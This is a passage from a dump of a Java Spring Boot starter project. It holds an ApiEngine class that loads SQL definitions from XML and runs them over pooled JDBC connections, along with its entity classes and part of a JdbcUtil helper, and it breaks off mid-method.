    "path": "jun_springboot_starter/jun-groovy-api/src/main/java/io/github/wujun728/sql/ApiEngine.java",
    "content": "package io.github.wujun728.sql;\n\nimport cn.hutool.json.JSONObject;\nimport cn.hutool.json.JSONUtil;\nimport com.alibaba.druid.pool.DruidPooledConnection;\nimport io.github.wujun728.db.record.Page;\nimport io.github.wujun728.sql.engine.DynamicSqlEngine;\nimport io.github.wujun728.sql.entity.ApiDataSource;\nimport io.github.wujun728.sql.entity.ApiSql;\nimport io.github.wujun728.sql.entity.DBConfig;\nimport io.github.wujun728.sql.entity.SqlWithParam;\nimport io.github.wujun728.sql.utils.JdbcUtil;\nimport io.github.wujun728.sql.utils.PoolManager;\nimport io.github.wujun728.sql.utils.XmlParser;\nimport org.apache.commons.io.Charsets;\nimport org.apache.commons.io.IOUtils;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.core.io.Resource;\nimport org.springframework.core.io.support.PathMatchingResourcePatternResolver;\n\nimport java.io.InputStream;\nimport java.nio.charset.StandardCharsets;\nimport java.sql.SQLException;\nimport java.util.ArrayList;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.stream.Collectors;\n\n\npublic class ApiEngine {\n\n    private static Logger logger = LoggerFactory.getLogger(ApiEngine.class);\n\n    DynamicSqlEngine dynamicSqlEngine = new DynamicSqlEngine();\n\n    DBConfig dbConfig;\n\n    Map<String, Map<String, ApiSql>> sqlMap = new HashMap<>();\n    Map<String, ApiDataSource> dataSourceMap;\n\n    public ApiEngine(DBConfig dbConfig) {\n        this.dbConfig = dbConfig;\n        initXml();\n    }\n\n    public void initXml() {\n        try {\n            PathMatchingResourcePatternResolver resolver = new PathMatchingResourcePatternResolver();\n            Resource[] resources = resolver.getResources(this.dbConfig.getSql());\n\n            for (Resource res : resources) {\n                String filename = res.getFilename();\n                if(filename.equals(\"ds.xml\")){\n                    continue;\n                }\n                InputStream inputStream = res.getInputStream();\n                String content = IOUtils.toString(inputStream, Charsets.toCharset(StandardCharsets.UTF_8));\n                Map<String, ApiSql> stringSqlMap = XmlParser.parseSql(content);\n                this.sqlMap.put(filename.split(\"\\\\.\")[0], stringSqlMap);\n                logger.info(\"APISQL register sql xml: {}\", filename);\n            }\n            Resource dsResource = resolver.getResource(this.dbConfig.getDatasource());\n            String filename = dsResource.getFilename();\n            InputStream inputStream = dsResource.getInputStream();\n            String content = IOUtils.toString(inputStream, Charsets.toCharset(StandardCharsets.UTF_8));\n            this.dataSourceMap = XmlParser.parseDatasource(content);\n            logger.info(\"APISQL register datasource xml: {}\", filename);\n        } catch (Exception e) {\n            //logger.error(e.getMessage(), e);\n            logger.warn(e.getMessage());\n        }\n    }\n\n//    public void initApiSql(DataSource dataSource) {\n//        try {\n//            Connection connection = dataSource.getConnection();\n//            String sql_api = \" select * from api_sql \";\n//            List<Map<String, Object>>  apiSqls = SqlXmlUtil.query(connection,sql_api);\n//\n//            for(Map map : apiSqls){\n//                BeanUtil.copyToList(FieldUtils)\n//                MapUtil.toCamelCaseMap(map);\n//            }\n//\n//            for (Resource res : resources) {\n//                String filename = res.getFilename();\n//                InputStream inputStream = res.getInputStream();\n//                String content = IOUtils.toString(inputStream, Charsets.toCharset(StandardCharsets.UTF_8));\n//                Map<String, SqlNode> stringSqlMap = XmlParser.parseSql(content);\n//                this.sqlMap.put(filename.split(\"\\\\.\")[0], stringSqlMap);\n//                logger.info(\"APISQL register sql xml: {}\", filename);\n//            }\n//            Resource dsResource = resolver.getResource(this.dbConfig.getDatasource());\n//\n//            String sql_datasource = \" select * from api_datasource \";\n//            List<Map<String, Object>>  apiDS = SqlXmlUtil.query(connection,sql_datasource);\n//\n//\n//            String filename = dsResource.getFilename();\n//            InputStream inputStream = dsResource.getInputStream();\n//            String content = IOUtils.toString(inputStream, Charsets.toCharset(StandardCharsets.UTF_8));\n//            this.dataSourceMap = XmlParser.parseDatasource(content);\n//            logger.info(\"APISQL register datasource xml: {}\", filename);\n//        } catch (Exception e) {\n//            logger.error(e.getMessage(), e);\n//        }\n//    }\n\n\n    public Page<JSONObject> executeQueryPage(String namespace, String sqlId, Map<String, Object> data, int pageNumber, int limit) {\n        Page pageVo = new Page();\n        ApiSql sql = this.sqlMap.get(namespace).get(sqlId);\n        if (!dataSourceMap.containsKey(sql.getDatasourceId())) {\n            throw new RuntimeException(\"datasource not found : \" + sql.getDatasourceId());\n        }\n        data.put(\"start\",(pageNumber-1)*(limit));\n        data.put(\"end\",pageNumber*limit);\n        ApiDataSource dataSource = dataSourceMap.get(sql.getDatasourceId());\n        String pageSql = sql.getText()+ \" LIMIT #{start}, #{end} \";\n        SqlMeta sqlMeta = dynamicSqlEngine.parse(pageSql, data);\n        List<JSONObject> results = ApiEngine.executeQuery(dataSource, sqlMeta.getSql(), sqlMeta.getJdbcParamValues());//executeQuery(namespace, sqlId, data);\n\n        String totalSql = \"  select count(1) as count FROM ( \"+sql.getText()+\" ) AS subquery \";\n        SqlMeta sqlMeta2 = dynamicSqlEngine.parse(totalSql, data);\n\n        Long totalpage = ApiEngine.executeQueryInt(dataSource, sqlMeta2.getSql(), sqlMeta2.getJdbcParamValues());\n        pageVo.setList(results);\n        pageVo.setTotalRow(Math.toIntExact(totalpage));\n        pageVo.setPageNumber(pageNumber);\n        pageVo.setPageSize(limit);\n        pageVo.setTotalPage(Math.toIntExact(totalpage) / limit);\n        return pageVo;\n    }\n    /**\n     * execute select sql with parameters, return a list of java bean entity\n     *\n     * @param namespace name of xml file\n     * @param sqlId     sql id in <sql> tag\n     * @param data      sql parameters\n     * @param clazz     class of java bean entity\n     * @return\n     */\n    public <T> List<T> executeQueryEntity(String namespace, String sqlId, Map<String, Object> data, Class<T> clazz) {\n        List<JSONObject> list = executeQuery(namespace, sqlId, data);\n\n        List<T> collect = list.stream().map(t -> t.toBean(clazz)).collect(Collectors.toList());\n        return collect;\n    }\n\n    /**\n     * execute select sql with parameters, return a list of JSONObject\n     *\n     * @param namespace name of xml file\n     * @param sqlId     sql id in <sql> tag\n     * @param data      sql parameters\n     * @return\n     */\n    public List<JSONObject> executeQuery(String namespace, String sqlId, Map<String, Object> data) {\n        try {\n            if (!sqlMap.containsKey(namespace)) {\n                throw new RuntimeException(\"namespace not found : \" + namespace);\n            } else {\n                if (!sqlMap.get(namespace).containsKey(sqlId)) {\n                    throw new RuntimeException(\"sqlId not found : \" + sqlId);\n                } else {\n                    ApiSql sql = this.sqlMap.get(namespace).get(sqlId);\n                    if (!dataSourceMap.containsKey(sql.getDatasourceId())) {\n                        throw new RuntimeException(\"datasource not found : \" + sql.getDatasourceId());\n                    }\n                    ApiDataSource dataSource = dataSourceMap.get(sql.getDatasourceId());\n                    SqlMeta sqlMeta = dynamicSqlEngine.parse(sql.getText(), data);\n\n                    return ApiEngine.executeQuery(dataSource, sqlMeta.getSql(), sqlMeta.getJdbcParamValues());\n                }\n            }\n        } catch (Exception e) {\n            throw new RuntimeException(e.getMessage());\n        }\n    }\n    public JSONObject executeQueryOne(String namespace, String sqlId, Map<String, Object> data) {\n        try {\n            if (!sqlMap.containsKey(namespace)) {\n                throw new RuntimeException(\"namespace not found : \" + namespace);\n            } else {\n                if (!sqlMap.get(namespace).containsKey(sqlId)) {\n                    throw new RuntimeException(\"sqlId not found : \" + sqlId);\n                } else {\n                    ApiSql sql = this.sqlMap.get(namespace).get(sqlId);\n                    if (!dataSourceMap.containsKey(sql.getDatasourceId())) {\n                        throw new RuntimeException(\"datasource not found : \" + sql.getDatasourceId());\n                    }\n                    ApiDataSource dataSource = dataSourceMap.get(sql.getDatasourceId());\n                    SqlMeta sqlMeta = dynamicSqlEngine.parse(sql.getText(), data);\n                    return ApiEngine.executeQueryById(dataSource, sqlMeta.getSql(), sqlMeta.getJdbcParamValues());\n                }\n            }\n        } catch (Exception e) {\n            throw new RuntimeException(e.getMessage());\n        }\n    }\n    public int executeQueryCount(String namespace, String sqlId, Map<String, Object> data) {\n        try {\n            if (!sqlMap.containsKey(namespace)) {\n                throw new RuntimeException(\"namespace not found : \" + namespace);\n            } else {\n                if (!sqlMap.get(namespace).containsKey(sqlId)) {\n                    throw new RuntimeException(\"sqlId not found : \" + sqlId);\n                } else {\n                    ApiSql sql = this.sqlMap.get(namespace).get(sqlId);\n                    if (!dataSourceMap.containsKey(sql.getDatasourceId())) {\n                        throw new RuntimeException(\"datasource not found : \" + sql.getDatasourceId());\n                    }\n                    ApiDataSource dataSource = dataSourceMap.get(sql.getDatasourceId());\n                    SqlMeta sqlMeta = dynamicSqlEngine.parse(sql.getText(), data);\n                    Object obj =  ApiEngine.executeQueryOneColumn(dataSource, sqlMeta.getSql(), sqlMeta.getJdbcParamValues());\n                    if(obj instanceof Integer){\n                        return (int) obj;\n                    }else {\n                        return (Integer) obj;\n                    }\n                }\n            }\n        } catch (Exception e) {\n            throw new RuntimeException(e.getMessage());\n        }\n    }\n\n    /**\n     * execute select sql without parameters, return a list of JSONObject\n     *\n     * @param namespace name of xml file\n     * @param sqlId     sql id in <sql> tag\n     * @return\n     */\n    public List<JSONObject> executeQuery(String namespace, String sqlId) {\n        return executeQuery(namespace, sqlId, null);\n    }\n\n    /**\n     * execute select sql without parameters, return a list of java bean entity\n     *\n     * @param namespace name of xml file\n     * @param sqlId     sql id in <sql> tag\n     * @param clazz     class of java bean entity\n     * @return\n     */\n    public <T> List<T> executeQueryEntity(String namespace, String sqlId, Class<T> clazz) {\n        return executeQueryEntity(namespace, sqlId, null, clazz);\n    }\n\n    /**\n     * execute insert/delete/update sql with parameters\n     *\n     * @param namespace name of xml file\n     * @param sqlId     sql id in <sql> tag\n     * @param data      sql parameters\n     * @return\n     */\n    public int executeUpdate(String namespace, String sqlId, Map<String, Object> data) {\n        try {\n            if (!sqlMap.containsKey(namespace)) {\n                throw new RuntimeException(\"namespace not found : \" + namespace);\n            } else {\n                if (!sqlMap.get(namespace).containsKey(sqlId)) {\n                    throw new RuntimeException(\"sqlId not found : \" + sqlId);\n                } else {\n                    ApiSql sql = this.sqlMap.get(namespace).get(sqlId);\n                    if (!dataSourceMap.containsKey(sql.getDatasourceId())) {\n                        throw new RuntimeException(\"datasource not found : \" + sql.getDatasourceId());\n                    }\n                    ApiDataSource dataSource = dataSourceMap.get(sql.getDatasourceId());\n                    SqlMeta sqlMeta = dynamicSqlEngine.parse(sql.getText(), data);\n\n                    return ApiEngine.executeUpdate(dataSource, sqlMeta.getSql(), sqlMeta.getJdbcParamValues());\n                }\n            }\n        } catch (Exception e) {\n            throw new RuntimeException(e.getMessage());\n        }\n    }\n\n    /**\n     * execute insert/delete/update sql without parameters\n     *\n     * @param namespace name of xml file\n     * @param sqlId     sql id in <sql> tag\n     * @return\n     */\n    public int executeUpdate(String namespace, String sqlId) {\n        return executeUpdate(namespace, sqlId, null);\n    }\n\n    /**\n     * execute select/insert/delete/update sql with parameters\n     *\n     * @param namespace name of xml file\n     * @param sqlId     sql id in <sql> tag\n     * @param data      sql parameters\n     * @return\n     */\n    public Object execute(String namespace, String sqlId, Map<String, Object> data) {\n        try {\n            if (!sqlMap.containsKey(namespace)) {\n                throw new RuntimeException(\"namespace not found : \" + namespace);\n            } else {\n                if (!sqlMap.get(namespace).containsKey(sqlId)) {\n                    throw new RuntimeException(\"sqlId not found : \" + sqlId);\n                } else {\n                    ApiSql sql = this.sqlMap.get(namespace).get(sqlId);\n                    if (!dataSourceMap.containsKey(sql.getDatasourceId())) {\n                        throw new RuntimeException(\"datasource not found : \" + sql.getDatasourceId());\n                    }\n                    ApiDataSource dataSource = dataSourceMap.get(sql.getDatasourceId());\n                    SqlMeta sqlMeta = dynamicSqlEngine.parse(sql.getText(), data);\n\n                    return ApiEngine.execute(dataSource, sqlMeta.getSql(), sqlMeta.getJdbcParamValues());\n                }\n            }\n        } catch (Exception e) {\n            throw new RuntimeException(e.getMessage());\n        }\n    }\n\n    /**\n     * execute select/insert/delete/update sql without parameters\n     *\n     * @param namespace name of xml file\n     * @param sqlId     sql id in <sql> tag\n     * @return\n     */\n    public Object execute(String namespace, String sqlId) {\n        return execute(namespace, sqlId, null);\n    }\n\n    public List<Object> executeWithinTransaction(List<SqlWithParam> sqlList) {\n        DruidPooledConnection connection = null;\n\n        try {\n            String namespace = sqlList.get(0).getNamespace();\n            connection = getConnection(namespace, sqlList.get(0).getSqlId());\n            connection.setAutoCommit(false);\n\n            if (!sqlMap.containsKey(namespace)) {\n                throw new RuntimeException(\"namespace not found : \" + namespace);\n            } else {\n                List<Object> result = new ArrayList<>();\n                for (int i = 0; i < sqlList.size(); i++) {\n                    String sqlId = sqlList.get(i).getSqlId();\n\n                    if (!sqlMap.get(namespace).containsKey(sqlId)) {\n                        throw new RuntimeException(\"sqlId not found : \" + sqlId);\n                    } else {\n                        ApiSql sql = this.sqlMap.get(namespace).get(sqlId);\n                        SqlMeta sqlMeta = dynamicSqlEngine.parse(sql.getText(), sqlList.get(i).getParameters());\n\n                        Object object = JdbcUtil.execute(connection, sqlMeta.getSql(), sqlMeta.getJdbcParamValues());\n                        result.add(object);\n                    }\n                }\n                connection.commit();\n                return result;\n            }\n        } catch (Exception e) {\n            try {\n                connection.rollback();\n            } catch (SQLException ex) {\n                throw new RuntimeException(ex);\n            }\n            throw new RuntimeException(e.getMessage());\n        } finally {\n            try {\n                if (connection != null) connection.close();\n            } catch (SQLException e) {\n                throw new RuntimeException(e);\n            }\n        }\n    }\n\n    private DruidPooledConnection getConnection(String namespace, String sqlId) throws SQLException {\n\n\n        if (!sqlMap.containsKey(namespace)) {\n            throw new RuntimeException(\"namespace not found : \" + sqlId);\n        } else {\n            if (!sqlMap.get(namespace).containsKey(sqlId)) {\n                throw new RuntimeException(\"sqlId not found : \" + sqlId);\n            } else {\n                ApiSql sql = this.sqlMap.get(namespace).get(sqlId);\n                if (!dataSourceMap.containsKey(sql.getDatasourceId())) {\n                    throw new RuntimeException(\"datasource not found : \" + sql.getDatasourceId());\n                }\n                ApiDataSource dataSource = dataSourceMap.get(sql.getDatasourceId());\n                DruidPooledConnection connection = PoolManager.getPooledConnection(dataSource);\n                return connection;\n            }\n        }\n\n    }\n\n    // --------------------------------------------------------------------------------------------------------------\n    // --------------------------------------------------------------------------------------------------------------\n    // --------------------------------------------------------------------------------------------------------------\n\n    public static List<JSONObject> executeQuery(ApiDataSource datasource, String sql, List<Object> jdbcParamValues) {\n        DruidPooledConnection connection = null;\n        try {\n            connection = PoolManager.getPooledConnection(datasource);\n        } catch (SQLException e) {\n            throw new RuntimeException(e);\n        }\n        return JdbcUtil.executeQuery(connection,sql,jdbcParamValues);\n    }\n\n    public static JSONObject executeQueryById(ApiDataSource datasource, String sql, List<Object> jdbcParamValues) {\n        DruidPooledConnection connection = null;\n        try {\n            connection = PoolManager.getPooledConnection(datasource);\n        } catch (SQLException e) {\n            throw new RuntimeException(e);\n        }\n        return JdbcUtil.executeQueryById(connection,sql,jdbcParamValues);\n    }\n    public static Long executeQueryInt(ApiDataSource datasource, String sql, List<Object> jdbcParamValues) {\n        Object obj = executeQueryOneColumn(datasource, sql, jdbcParamValues);\n        if(obj instanceof Long){\n            return (Long) obj;\n        }else{\n            return Long.valueOf(String.valueOf(obj));\n        }\n    }\n\n    public static String executeQueryString(ApiDataSource datasource, String sql, List<Object> jdbcParamValues) {\n        Object obj = executeQueryOneColumn(datasource, sql, jdbcParamValues);\n        return (String) obj;\n    }\n\n    public static Object executeQueryOneColumn(ApiDataSource datasource, String sql, List<Object> jdbcParamValues) {\n        DruidPooledConnection connection = null;\n        try {\n            connection = PoolManager.getPooledConnection(datasource);\n        } catch (SQLException e) {\n            throw new RuntimeException(e);\n        }\n        return JdbcUtil.executeQueryOneColumn(connection,sql,jdbcParamValues);\n    }\n\n    public static int executeUpdate(ApiDataSource datasource, String sql, List<Object> jdbcParamValues) {\n        DruidPooledConnection connection = null;\n        try {\n            connection = PoolManager.getPooledConnection(datasource);\n        } catch (SQLException e) {\n            throw new RuntimeException(e);\n        }\n        return JdbcUtil.executeUpdate(connection,sql,jdbcParamValues);\n    }\n\n    public static Object execute(ApiDataSource datasource, String sql, List<Object> jdbcParamValues) {\n        DruidPooledConnection connection = null;\n        try {\n            connection = PoolManager.getPooledConnection(datasource);\n        } catch (SQLException e) {\n            throw new RuntimeException(e);\n        }\n        return JdbcUtil.execute(connection,sql,jdbcParamValues);\n    }\n\n\n}"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/java/io/github/wujun728/sql/ApiEngineConfiguration.java",
    "content": "package io.github.wujun728.sql;\n\nimport io.github.wujun728.sql.entity.DBConfig;\nimport org.springframework.boot.autoconfigure.condition.ConditionalOnMissingBean;\nimport org.springframework.boot.context.properties.EnableConfigurationProperties;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\n\n@Configuration\n@EnableConfigurationProperties(DBConfig.class)\npublic class ApiEngineConfiguration {\n\n    private final DBConfig dbConfig;\n\n    public ApiEngineConfiguration(DBConfig config) {\n        this.dbConfig = config;\n    }\n\n    @Bean\n    @ConditionalOnMissingBean(ApiEngine.class)\n    public ApiEngine Engine() {\n        return new ApiEngine(dbConfig);\n    }\n}"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/java/io/github/wujun728/sql/entity/ApiConfig.java",
    "content": "package io.github.wujun728.sql.entity;\n\nimport lombok.Data;\n\nimport java.util.List;\n\n@Data\npublic class ApiConfig {\n\t\n    private Integer id;\n    private Integer pid;\n    private String path;\n    private String name;\n    private String method;\n    private String params;\n    private String beanName;\n//    private String className;\n    private String datasourceId;\n    private String scriptType;\n//    private String BeanType;\n    private String scriptContent;\n//    private String groovyContent;\n    private String status;\n    private Integer sort;\n    private String extendInfo;\n    private Integer openTrans;\n    private String resutltParams;\n    private String creator;\n    private String createdTime;\n    private String updateTime;\n    private String lastUpdate;\n\n    List<ApiSql> sqlList;\n    String cachePlugin;\n    String contentType;\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/java/io/github/wujun728/sql/entity/ApiDataSource.java",
    "content": "package io.github.wujun728.sql.entity;\n\nimport lombok.Data;\n\n@Data\npublic class ApiDataSource {\n\n    String id;\n    String url;\n    String username;\n    String password;\n    String driver;\n    String type;\n\n}"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/java/io/github/wujun728/sql/entity/ApiSql.java",
    "content": "package io.github.wujun728.sql.entity;\n\nimport com.alibaba.fastjson2.annotation.JSONField;\nimport lombok.Data;\n\n@Data\npublic class ApiSql {\n\n    String id;\n    String group;\n    String path;\n    String text;\n    String type;\n    @JSONField(name = \"datasourceId\")\n    String datasourceId;\n    String before;\n    String after;\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/java/io/github/wujun728/sql/entity/DBConfig.java",
    "content": "package io.github.wujun728.sql.entity;\n\nimport org.springframework.boot.context.properties.ConfigurationProperties;\n\n@ConfigurationProperties(\"apisql.config\")\npublic class DBConfig {\n    String sql;\n\n    String datasource;\n\n    public String getSql() {\n        if(sql!=null){\n            return sql;\n        }else{\n            return \"classpath:sql/*.xml\";\n        }\n    }\n\n    public void setSql(String sql) {\n        this.sql = sql;\n    }\n\n    public String getDatasource() {\n        if(datasource!=null){\n            return datasource;\n        }else{\n            return \"classpath:ds.xml\";\n        }\n    }\n\n    public void setDatasource(String datasource) {\n        this.datasource = datasource;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/java/io/github/wujun728/sql/entity/Page.java",
    "content": "package io.github.wujun728.sql.entity;\n\n/**\n * 分页对象\n */\n\nimport lombok.Data;\n\nimport java.io.Serializable;\nimport java.util.List;\n\n/**\n * Page is the result of  Db.paginate(......)\n */\n@Data\npublic class Page<T> implements Serializable {\n\n\tprivate static final long serialVersionUID = -5395997221963176643L;\n\n\tprivate List<T> list;\t\t\t\t// list result of this page\n\tprivate int pageNumber;\t\t\t\t// page number\n\tprivate int pageSize;\t\t\t\t// result amount of this page\n\tprivate int totalPage;\t\t\t\t// total page\n\tprivate int totalRow;\t\t\t\t// total row\n\n\t/**\n\t * Constructor.\n\t * @param list the list of paginate result\n\t * @param pageNumber the page number\n\t * @param pageSize the page size\n\t * @param totalPage the total page of paginate\n\t * @param totalRow the total row of paginate\n\t */\n\tpublic Page(List<T> list, int pageNumber, int pageSize, int totalPage, int totalRow) {\n\t\tthis.list = list;\n\t\tthis.pageNumber = pageNumber;\n\t\tthis.pageSize = pageSize;\n\t\tthis.totalPage = totalPage;\n\t\tthis.totalRow = totalRow;\n\t}\n\tpublic Page() {\n\t}\n\n\t/**\n\t * Return list of this page.\n\t */\n\tpublic List<T> getList() {\n\t\treturn list;\n\t}\n\n\t/**\n\t * Return page number.\n\t */\n\tpublic int getPageNumber() {\n\t\treturn pageNumber;\n\t}\n\n\t/**\n\t * Return page size.\n\t */\n\tpublic int getPageSize() {\n\t\treturn pageSize;\n\t}\n\n\t/**\n\t * Return total page.\n\t */\n\tpublic int getTotalPage() {\n\t\treturn totalPage;\n\t}\n\n\t/**\n\t * Return total row.\n\t */\n\tpublic int getTotalRow() {\n\t\treturn totalRow;\n\t}\n\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/java/io/github/wujun728/sql/entity/Result.java",
    "content": "package io.github.wujun728.sql.entity;\n\n\nimport java.util.HashMap;\n\n/**\n * 返回对象\n *\n * @author wujun\n */\npublic class Result extends HashMap<String, Object>\n{\n    private static final long serialVersionUID = 1L;\n\n    /** 状态码 */\n    public static final String CODE_TAG = \"code\";\n\n    /** 返回内容 */\n    public static final String MSG_TAG = \"msg\";\n\n    /** 数据对象 */\n    public static final String DATA_TAG = \"data\";\n\n    private Boolean success = true;\n\n    public Boolean getSuccess() {\n        return success;\n    }\n\n    public Result setSuccess(Boolean success) {\n        this.success = success;\n        return this;\n    }\n\n\n\n    /**\n     * 初始化一个新创建的 AjaxResult 对象，使其表示一个空消息。\n     */\n    public Result()\n    {\n    }\n\n    /**\n     * 初始化一个新创建的 AjaxResult 对象\n     * \n     * @param code 状态码\n     * @param msg 返回内容\n     */\n    public Result(int code, String msg)\n    {\n        super.put(CODE_TAG, code);\n        super.put(MSG_TAG, msg);\n    }\n\n    /**\n     * 初始化一个新创建的 AjaxResult 对象\n     * \n     * @param code 状态码\n     * @param msg 返回内容\n     * @param data 数据对象\n     */\n    public Result(int code, String msg, Object data)\n    {\n        super.put(CODE_TAG, code);\n        super.put(MSG_TAG, msg);\n        super.put(DATA_TAG, data);\n    }\n\n    public static Result getResult(int i, String s) {\n        return Result.error(i,s);\n    }\n\n    /*public static Result getResult(RespCodeMsg systemRedisBusy) {\n        return Result.error(systemRedisBusy.getCode(),systemRedisBusy.getMsg());\n    }*/\n\n    /**\n     * 方便链式调用\n     *\n     * @param key\n     * @param value\n     * @return\n     */\n    @Override\n    public Result put(String key, Object value)\n    {\n        super.put(key, value);\n        return this;\n    }\n\n    /**\n     * 返回成功消息\n     * \n     * @return 成功消息\n     */\n    public static Result success()\n    {\n        return Result.success(\"success\");\n    }\n    public static Result ok()\n    {\n        return Result.success(\"success\");\n    }\n\n    /**\n     * 返回成功数据\n     * \n     * @return 成功消息\n     */\n    public static Result ok(Object data)\n    {\n        return Result.success(\"success\", data);\n    }\n    public static Result success(Object data)\n    {\n        return Result.success(\"success\", data);\n    }\n\n    /**\n     * 返回成功消息\n     * \n     * @param msg 返回内容\n     * @param data 数据对象\n     * @return 成功消息\n     */\n    public static Result success(String msg, Object data)\n    {\n        return new Result(0, msg, data);\n    }\n    public static Result success(int code, String msg, Object data)\n    {\n        return new Result(code, msg, data);\n    }\n\n    /**\n     * 返回错误消息\n     * \n     * @return\n     */\n    public static Result fail()\n    {\n        return Result.error(\"fail\").setSuccess(false);\n    }\n    public static Result error()\n    {\n        return Result.error(\"fail\").setSuccess(false);\n    }\n\n    /**\n     * 返回错误消息\n     * \n     * @param msg 返回内容\n     * @return 警告消息\n     */\n    public static Result fail(String msg)\n    {\n        return Result.error(msg, null).setSuccess(false);\n    }\n    public static Result error(String msg)\n    {\n        return Result.error(msg, null).setSuccess(false);\n    }\n\n    /**\n     * 返回错误消息\n     * \n     * @param msg 返回内容\n     * @param data 数据对象\n     * @return 警告消息\n     */\n    public static Result error(String msg, Object data)\n    {\n        return new Result(500, msg, data).setSuccess(false);\n    }\n\n    /**\n     * 返回错误消息\n     * \n     * @param code 状态码\n     * @param msg 返回内容\n     * @return 警告消息\n     */\n    public static Result error(int code, String msg)\n    {\n        return new Result(code, msg, null).setSuccess(false);\n    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/java/io/github/wujun728/sql/entity/SqlWithParam.java",
    "content": "package io.github.wujun728.sql.entity;\n\nimport lombok.Data;\nimport lombok.experimental.Accessors;\n\nimport java.util.Map;\n\n@Data\n@Accessors(chain = true)\npublic class SqlWithParam {\n\n    private String namespace;\n    private String sqlId;\n    private Map<String, Object> parameters;\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/java/io/github/wujun728/sql/utils/JdbcUtil.java",
    "content": "package io.github.wujun728.sql.utils;\n\nimport cn.hutool.json.JSONObject;\nimport cn.hutool.log.StaticLog;\nimport io.github.wujun728.db.record.Page;\nimport io.github.wujun728.sql.SqlMeta;\nimport io.github.wujun728.sql.engine.DynamicSqlEngine;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport java.sql.Connection;\nimport java.sql.PreparedStatement;\nimport java.sql.ResultSet;\nimport java.sql.SQLException;\nimport java.util.ArrayList;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.concurrent.atomic.AtomicReference;\n\npublic class JdbcUtil {\n\n    static DynamicSqlEngine engine = new DynamicSqlEngine();\n    //DynamicSqlEngine dynamicSqlEngine = new DynamicSqlEngine();\n\n    public static DynamicSqlEngine getEngine() {\n        return engine;\n    }\n\n    private static Logger logger = LoggerFactory.getLogger(JdbcUtil.class);\n\n\n    public static List<JSONObject> executeQuery(Connection connection, String sql, List<Object> jdbcParamValues) {\n        logger.debug(sql);\n        //DruidPooledConnection connection = null;\n        try {\n            //connection = PoolManager.getPooledConnection(datasource);\n            connection.setAutoCommit(true);\n            PreparedStatement statement = connection.prepareStatement(sql);\n            //参数注入\n            for (int i = 1; i <= jdbcParamValues.size(); i++) {\n                statement.setObject(i, jdbcParamValues.get(i - 1));\n            }\n            ResultSet rs = statement.executeQuery();\n            int columnCount = rs.getMetaData().getColumnCount();\n            List<String> columns = new ArrayList<>();\n            for (int i = 1; i <= columnCount; i++) {\n                String columnName = rs.getMetaData().getColumnLabel(i);\n                columns.add(columnName);\n            }\n            List list = new ArrayList();\n            while (rs.next()) {\n                JSONObject jo = new JSONObject();\n                columns.stream().forEach(t -> {\n                    try {\n                        Object value = rs.getObject(t);\n                        jo.put(t, value);\n                    } catch (SQLException throwables) {\n                        throwables.printStackTrace();\n                    }\n                });\n                list.add(jo);\n            }\n            return list;\n\n        } catch (Exception e) {\n            e.printStackTrace();\n            throw new RuntimeException(e);\n        } finally {\n            try {\n                connection.close();\n            } catch (SQLException throwables) {\n                throwables.printStackTrace();\n            }\n        }\n    }\n\n\n    public static JSONObject executeQueryById(Connection connection, String sql, List<Object> jdbcParamValues) {\n        logger.debug(sql);\n        //DruidPooledConnection connection = null;\n        try {\n\n            //connection = PoolManager.getPooledConnection(datasource);\n            connection.setAutoCommit(true);\n            PreparedStatement statement = connection.prepareStatement(sql);\n            //参数注入\n            for (int i = 1; i <= jdbcParamValues.size(); i++) {\n                statement.setObject(i, jdbcParamValues.get(i - 1));\n            }\n            ResultSet rs = statement.executeQuery();\n            int columnCount = rs.getMetaData().getColumnCount();\n            List<String> columns = new ArrayList<>();\n            for (int i = 1; i <= columnCount; i++) {\n                String columnName = rs.getMetaData().getColumnLabel(i);\n                columns.add(columnName);\n            }\n            List<JSONObject> list = new ArrayList();\n            while (rs.next()) {\n                JSONObject jo = new JSONObject();\n                columns.stream().forEach(t -> {\n                    try {\n                        Object value = rs.getObject(t);\n                        jo.put(t, value);\n                    } catch (SQLException throwables) {\n                        throwables.printStackTrace();\n                    }\n                });\n                list.add(jo);\n            }\n            if(list.size()>0){\n                StaticLog.info(\"当前查询到{}条数据\",list.size());\n                return list.get(0);\n            }else{\n                return null;\n            }\n\n        } catch (Exception e) {\n            e.printStackTrace();\n            throw new RuntimeException(e);\n        } finally {\n            try {\n                connection.close();\n            } catch (SQLException throwables) {\n                throwables.printStackTrace();\n            }\n        }\n    }\n\n    public static Long executeQueryInt(Connection connection, String sql, List<Object> jdbcParamValues) {\n        try {\n            Object obj = executeQueryOneColumn(connection, sql, jdbcParamValues);\n            if(obj instanceof Long){\n                return (Long) obj;\n            }else{\n                return Long.valueOf(String.valueOf(obj));\n            }\n        } catch (Exception e) {\n            throw new RuntimeException(e);\n        }  finally {\n            try {\n                connection.close();\n            } catch (SQLException throwables) {\n                throwables.printStackTrace();\n            }\n        }\n    }\n\n    public static String executeQueryString(Connection connection, String sql, List<Object> jdbcParamValues) {\n        Object obj = null;\n        try {\n            obj = executeQueryOneColumn(connection, sql, jdbcParamValues);\n        } catch (Exception e) {\n            throw new RuntimeException(e);\n        }  finally {\n            try {\n                connection.close();\n            } catch (SQLException throwables) {\n                throwables.printStackTrace();\n            }\n        }\n        return (String) obj;\n    }\n\n\n\n    public static Object executeQueryOneColumn(Connection connection, String sql, List<Object> jdbcParamValues) {\n        logger.debug(sql);\n        //DruidPooledConnection connection = null;\n        try {\n            //connection = PoolManager.getPooledConnection(datasource);\n            connection.setAutoCommit(true);\n            PreparedStatement statement = 